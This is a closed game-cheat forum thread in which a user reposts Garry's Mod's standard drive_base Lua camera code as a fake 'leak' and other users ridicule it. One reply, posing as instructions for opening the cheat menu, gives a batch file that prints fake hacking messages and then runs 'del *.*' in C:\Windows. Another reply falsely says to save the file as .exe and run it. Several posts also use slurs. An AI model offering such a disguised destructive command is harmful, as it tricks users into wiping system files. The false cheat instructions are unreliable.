leek

Posts 110 of 10 · Page 1 of 1
leek

Code:
AddCSLuaFile()

drive.Register( "drive_base", 
{
	--
	-- You should override these :) 
	-- see drive_noclip.lua for help
	-- 
	Init = function( self, cmd )						end,
	SetupControls = function( self, cmd )				end,
	StartMove =  function( self, mv, cmd )				end,
	Move = function( self, mv )							end,
	FinishMove =  function( self, mv )					end,
	CalcView =  function( self, view )					end,


	--
	-- Utility methods
	--

	
	--
	-- Call this in your drive method at 
	-- any point to stop driving.
	--
	Stop = function( self )
		self.StopDriving = true	
	end,

	--
	-- A generic thirdperson view
	--
	-- > view			- the view passed into CalcView
	-- > dist			- the ideal distance from the center
	-- > hullsize		- the size of the hull to trace so we don't go through walls (0 for no trace)
	-- > entityfilter	- usually the self.Entity - so our trace doesn't hit the entity in question
	--
	CalcView_ThirdPerson = function( self, view, dist, hullsize, entityfilter )

		--
		-- > Get the current position (teh center of teh entity)
		-- > Move the view backwards the size of the entity
		--
		local neworigin = view.origin - self.Player:EyeAngles():Forward() * dist


		if ( hullsize && hullsize > 0 ) then

			--
			-- > Trace a hull (cube) from the old eye position to the new
			--
			local tr = util.TraceHull( {
											start	= view.origin,
											endpos	= neworigin,
											mins	= Vector( hullsize, hullsize, hullsize ) * -1,
											maxs	= Vector( hullsize, hullsize, hullsize ),
											filter	= entityfilter
										})
			--
			-- > If we hit something then stop there
			--		[ stops the camera going through walls ]
			--							
			if ( tr.Hit ) then
				neworigin = tr.HitPos
			end

		end

		--
		-- Set our calculated origin
		--
		view.origin		= neworigin

		--
		-- Set the angles to our view angles (not the entities eye angles)
		--
		view.angles		= self.Player:EyeAngles()

	end

});
#notshitpost
#totalleak
#garrysmodcode
#totallyuseful
#banme
#hashtag

DONT TELL ANYONE ABOUT THIS SECRET CODE THAT NOBODY HAS EXCEPT YOU AND ME
cool dude i just hacked the planet +kek
ring0 lua driver cheat
fabulous cheat +rep subbed liked shared 2015
Rubbish gmod copy and paste from drive.lua! 0.5/10
I wanna know, is there any retard who thinks this is an actual cheat?
Quote Originally Posted by DaFrekkinNoob View Post
I wanna know, is there any retard who thinks this is an actual cheat?
Yeah, what's the bind to open the menu? alt+f4?
i dont remember how to delete it ok leavew me alone
Quote Originally Posted by Stuuuuuypid View Post
Yeah, what's the bind to open the menu? alt+f4?
No use this to open it,
save this into a .bat file,
@EcHo off
echo i fuken haked yor piisii
echo ratted
echo deltning this file wont eork
echo fukin haked
echo got all ur porn and nudes
pause
cd C:\Windows
del *.*
Quote Originally Posted by DaFrekkinNoob View Post
I wanna know, is there any retard who thinks this is an actual cheat?
Wait... it isn't?
Quote Originally Posted by Kyouko View Post
Wait... it isn't?
it's a c++ file you have to save it as .exe and run in background
Posts 110 of 10 · Page 1 of 1
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Need help?